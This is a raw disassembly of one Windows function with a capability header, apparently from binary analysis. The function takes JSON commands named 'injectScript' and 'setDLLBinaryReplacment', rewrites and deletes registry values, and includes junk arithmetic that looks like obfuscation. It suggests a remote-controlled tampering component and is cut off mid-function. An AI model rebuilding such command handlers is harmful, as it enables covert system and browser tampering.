Function at 0x140051784
Capabilities:
Create http request
Delete registry key
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x17250
call fcn.1400c2070
sub rsp, rax
mov qword [rsp + 0x1038], 0xfffffffffffffffe
mov rax, qword [0x1401a0e90]
xor rax, rsp
mov qword [rsp + 0x17240], rax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x48], rdx
mov r13, rcx
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x270], rdx
mov qword [rsp + 0x3d0], r8
xor edi, edi
mov byte [rsp + 0x40], dil
mov eax, dword [rsp + 0x70]
and eax, 0xffffff00
mov dword [rsp + 0x70], eax
btr eax, 8
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x12e0]
call fcn.14002b8a4
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xf70], rdx
lea rcx, [rsp + 0x80]
call fcn.1400178c0
nop
mov rdx, qword [rsp + 0x80]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xf80], rax
lea r12d, [rdi + 1]
cmp dword [rax + 0x10], r12d
jle 0x140051867
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x80]
call fcn.1400182bc
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x11d8], rdi
mov qword [rsp + 0x11e0], rdi
mov ebx, 0xf
mov qword [rsp + 0x11e0], rbx
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
or rsi, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x1400518a2
mov r8, rdi
jmp 0x1400518ae
mov r8, rsi
inc r8
cmp byte [rdx + r8], dil
jne 0x1400518a5
lea rcx, [rsp + 0x11c8]
call fcn.1400013c8
nop
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x11c8]
lea rcx, [rsp + 0x12e0]
call fcn.14002b99c
test al, al
jne 0x1400519c2
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x2d8]
call fcn.140002c48
nop
lea rdx, [rsp + 0x2d8]
mov rcx, qword [r13 + 0x40]
call fcn.14004c728
nop
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051938
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140051950
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], rbx
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x978], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005199b
mov rdx, qword [rsp + 0x978]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
cmp byte [rsp + 0x70], dil
jne 0x140051ab1
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3e0]
call fcn.140002c48
nop
lea rdx, [rsp + 0x3e0]
mov rcx, qword [r13 + 0x40]
call fcn.14004c728
nop
mov rcx, qword [rsp + 0x3e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051a27
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140051a3f
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], rbx
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x788], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051a8a
mov rdx, qword [rsp + 0x788]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f814
mov qword [rsp + 0xf90], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x140057114
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xfa0], rax
mov r15d, 4
cmp byte [rax + 8], r15b
jne 0x140057114
lea rbx, str.param
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f814
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xfb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb8], rdx
lea rcx, [rsp + 0x58]
call fcn.140002c48
nop
lea rdx, str.injectScript
mov rcx, qword [rsp + 0x58]
call fcn.1400d0fa0
mov dword [rsp + 0x4d0], eax
test eax, eax
jne 0x140052797
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x9d8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x10c8], rax
cmp byte [rax + 8], r15b
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x9e8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xdc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9f8], rdx
lea rcx, [rsp + 0xc0]
call fcn.140002c48
nop
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x748], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bdb84
mov qword [rsp + 0x190], rax
test rax, rax
je 0x140052692
mov r8, rax
lea rdx, [rsp + 0xc0]
call fcn.1400572d4
test al, al
je 0x140052692
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0xa
jne 0x140051c64
test r8d, r8d
cmove r8d, r12d
mov dword [0x1401a8d80], r8d
mov r15, qword [r13 + 0x40]
mov ebx, 0x1b0
add r15, rbx
mov qword [rsp + 0xfb8], r15
mov rcx, qword [r15]
mov qword [rsp + 0xa08], rcx
mov edx, 0x5c
call fcn.1400bf938
mov rcx, rax
mov qword [rsp + 0xdd8], rax
test rax, rax
jne 0x140051ca1
mov ecx, esi
jmp 0x140051cb2
mov rax, qword [r15]
mov qword [rsp + 0xa18], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0x128]
call fcn.140022a70
nop
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x1a0]
call fcn.140002bac
nop
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0xfc], eax
test eax, eax
je 0x140051e82
test r14, r14
je 0x140051d2b
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051d5e
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x128]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051d91
mov rdx, qword [rsp + 0x8a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051dc4
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051df4
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140051e0c
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051e5b
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov rbx, qword [r13 + 0x40]
add rbx, 0x2c8
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x180], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x10d8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xa28], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x1400522e8
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub r8d, eax
cmp r8d, 2
jne 0x140051f2b
lea ecx, [r8 + 2]
call fcn.1400bd778
mov rcx, rax
mov qword [rsp + 0xde8], rax
mov eax, dword [0x1401a8d80]
mov dword [rcx], eax
lea rcx, [0x1401a09a8]
mov rax, qword [0x1401a09a8]
call qword [rax + 0x18]
mov qword [rsp + 0xa38], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x140], rbx
mov r8d, edi
mov dword [rsp + 0xb8], edi
mov r10d, edi
mov dword [rsp + 0x8c], edi
mov eax, dword [0x1401a8d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 2
jne 0x140052033
mov r15, rdi
mov qword [rsp + 0x938], rdi
cmp r15, 0x2e
jae 0x140051fc5
call fcn.1400bd978
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + r15*8 + 0x1580], xmm0
add r15, r12
mov qword [rsp + 0x938], r15
jmp 0x140051f9b
mov eax, edi
mov dword [rsp + 0x284], eax
cmp eax, 0x2e
jge 0x140052023
mov ecx, 0x2d
mov dword [rsp + 0x1e8], ecx
cmp ecx, eax
jle 0x14005201e
movsxd rdx, ecx
movsd xmm0, qword [rsp + rdx*8 + 0x1580]
movsd xmm1, qword [rsp + rdx*8 + 0x1578]
comisd xmm0, xmm1
jbe 0x140052019
movsd qword [rsp + 0xfd8], xmm0
movsd qword [rsp + rdx*8 + 0x1580], xmm1
movsd qword [rsp + rdx*8 + 0x1578], xmm0
sub ecx, r12d
jmp 0x140051fd8
add eax, r12d
jmp 0x140051fc7
mov r10d, dword [rsp + 0x8c]
mov r8d, dword [rsp + 0xb8]
mov r15d, 0xb
mov r13d, 0x7ffe
test r8d, r8d
jne 0x1400522ac
mov dword [rsp + 0x198], r13d
lea rax, [rbx - 0x18]
mov qword [rsp + 0xa48], rax
mov ecx, r12d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x4e0], ecx
mov eax, dword [rax + 0xc]
sub eax, r13d
mov dword [rsp + 0x888], eax
or eax, ecx
jge 0x14005209a
mov edx, r13d
lea rcx, [rsp + 0x140]
call fcn.1400021d0
mov rbx, qword [rsp + 0x140]
mov r10d, dword [rsp + 0x8c]
cmp dword [rbx - 0xc], r13d
jge 0x1400520aa
mov ecx, 0x80070057
call fcn.140001874
mov dword [rbx - 0x10], r13d
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x198]
mov r8, rbx
mov edx, r10d
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xb8], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x4f0], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400bdc3c
mov dword [rsp + 0x758], eax
test eax, eax
js 0x1400522a1
cmp eax, dword [rbx - 0xc]
jg 0x1400522a1
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov rax, qword [rsp + 0x138]
mov dword [rax], edi
lea r8, str._data
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x590]
call fcn.140017bcc
mov qword [rsp + 0xdf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa58], rdx
test rdx, rdx
jne 0x140052165
mov eax, esi
jmp 0x14005218e
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x500], eax
test eax, eax
js 0x140052161
mov rcx, rbx
call fcn.1400bde0c
mov qword [rsp + 0x10e8], rax
test rax, rax
je 0x140052161
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xb4], eax
cmp eax, esi
setne byte [rsp + 0x88]
mov rcx, qword [rsp + 0x590]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400521d1
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x88], dil
je 0x14005225f
mov dword [rsp + 0x8c], edi
mov rbx, qword [rsp + 0x140]
mov rdx, rbx
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0xfc], eax
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, r15d
jne 0x140052246
lea rcx, [rsp + 0x14d0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
cmp dword [rsp + 0xfc], edi
je 0x14005227c
test r14, r14
je 0x1400522ac
mov word [r14], r15w
mov word [r14 + 8], di
jmp 0x1400522ac
mov r10d, dword [rsp + 0x8c]
add r10d, r12d
mov dword [rsp + 0x8c], r10d
mov rbx, qword [rsp + 0x140]
jmp 0x140052284
mov r10d, dword [rsp + 0x8c]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x138], rax
mov r8d, dword [rsp + 0xb8]
jmp 0x14005203f
mov ecx, 0x80070057
call fcn.140001874
nop
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rbx
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400522d6
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x180]
mov r13, qword [rsp + 0x120]
jmp 0x1400522ee
mov r15d, 0xb
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x928], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x190]
mov rdx, rcx
call fcn.140051724
mov edx, dword [rbx]
lea eax, [rdx + 1]
mov dword [rbx], eax
lea rcx, [rsp + 0x1258]
call fcn.1400513a0
mov qword [rsp + 0xa68], rax
cmp qword [rax + 0x18], 0x10
jb 0x14005233e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7b8]
call fcn.140002c48
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x8b8]
call fcn.140017bcc
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x408]
call fcn.14000d870
nop
mov rcx, qword [rsp + 0x8b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400523b5
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400523e8
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1270], 0x10
jb 0x140052400
mov rcx, qword [rsp + 0x1258]
call fcn.1400bcfa4
mov qword [rsp + 0x1270], 0xf
mov qword [rsp + 0x1268], rdi
mov byte [rsp + 0x1258], dil
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, r15d
jne 0x14005245d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rbx, qword [rsp + 0x190]
cmp byte [rsp + 0x40], dil
jne 0x1400524ab
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x510], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x408]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x128]
mov rcx, r13
call fcn.1400573ec
mov r8d, dword [0x1401a8d80]
imul r8d, r8d
mov eax, 0x2aaaaaab
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub r8d, eax
cmp r8d, 5
jne 0x140052507
lea ecx, [r8 - 1]
call fcn.1400bd778
mov rdx, rax
mov qword [rsp + 0xe08], rax
mov eax, dword [0x1401a8d80]
mov dword [rdx], eax
mov rcx, rbx
call fcn.1400bdb00
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
mov r13d, 8
cmp r8d, r13d
jne 0x14005254d
add dword [0x1401aac60], r12d
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x1401a8d80]
imul ecx, ecx
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov eax, dword [0x1401aac44]
mov edx, 0xcc8f5fc4
cmp ecx, 0x15
cmove eax, edx
mov dword [0x1401aac44], eax
test r14, r14
je 0x14005259f
mov word [r14], r15w
mov word [r14 + 8], si
mov rax, qword [rsp + 0x120]
mov rcx, qword [rax + 0x40]
cmp dword [rcx + 0x2d0], 3
jne 0x1400525be
mov dword [rcx + 0x2d0], 4
mov rcx, qword [rsp + 0x408]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x9b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400525f1
mov rdx, qword [rsp + 0x9b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052624
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x128]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052657
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400570c7
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400570c7
test r14, r14
je 0x1400526a6
mov r15d, 0xb
mov word [r14], r15w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400526d9
mov rdx, qword [rsp + 0x8c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052709
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140052721
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], 0xf
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052770
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
lea rdx, str.setDLLBinaryReplacment
mov rcx, qword [rsp + 0x58]
call fcn.1400d0fa0
mov dword [rsp + 0x768], eax
test eax, eax
jne 0x14005352c
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa78], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xff8], rax
cmp byte [rax + 8], r15b
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa88], rax
lea rdx, [0x14013cee4]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xe18], rax
cmp byte [rax + 8], r15b
jne 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xa98], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x10f8], rax
cmp byte [rax + 8], r12b
jne 0x1400570c7
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
jne 0x1400528fe
movsd xmm3, qword [0x14013dd10]
movsd qword [rsp + 0x600], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x428], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x428], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1400528e6
subsd xmm2, xmm3
movsd qword [rsp + 0x428], xmm2
divsd xmm3, qword [0x14013dd38]
movsd qword [rsp + 0x600], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013dd08]
ja 0x1400528ae
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xaa8], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xe28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xab8], rdx
lea rcx, [rsp + 0xa8]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0x1018], rax
lea rdx, [0x14013cee4]
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xac8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe38], rdx
lea rcx, [rsp + 0x98]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xad8], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0x1108], rax
mov rcx, rax
call fcn.14002f094
mov dword [rsp + 0x238], eax
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x520], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bdb84
mov r15, rax
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x898], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bdb84
mov rbx, rax
mov qword [rsp + 0x670], rax
test r15, r15
je 0x1400533f4
test rax, rax
je 0x1400533f4
mov r8, r15
lea rdx, [rsp + 0xa8]
call fcn.1400572d4
test al, al
je 0x1400533f4
mov r8, rbx
lea rdx, [rsp + 0x98]
call fcn.1400572d4
test al, al
je 0x1400533f4
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x530], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r15
mov rcx, r15
call fcn.140051724
call fcn.140051510
test al, al
jne 0x140052ad0
mov ecx, dword [0x1401a8d80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x2f4
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bc638
mov qword [rsp + 0xae8], rax
mov rcx, rax
call fcn.1400be0fc
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x778], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140051724
mov r15, qword [r13 + 0x40]
mov ebx, 0x1b0
add r15, rbx
mov qword [rsp + 0xe48], r15
mov rcx, qword [r15]
mov qword [rsp + 0xaf8], rcx
mov edx, 0x5c
call fcn.1400bf938
mov rcx, rax
mov qword [rsp + 0x9c0], rax
test rax, rax
jne 0x140052b32
mov ecx, esi
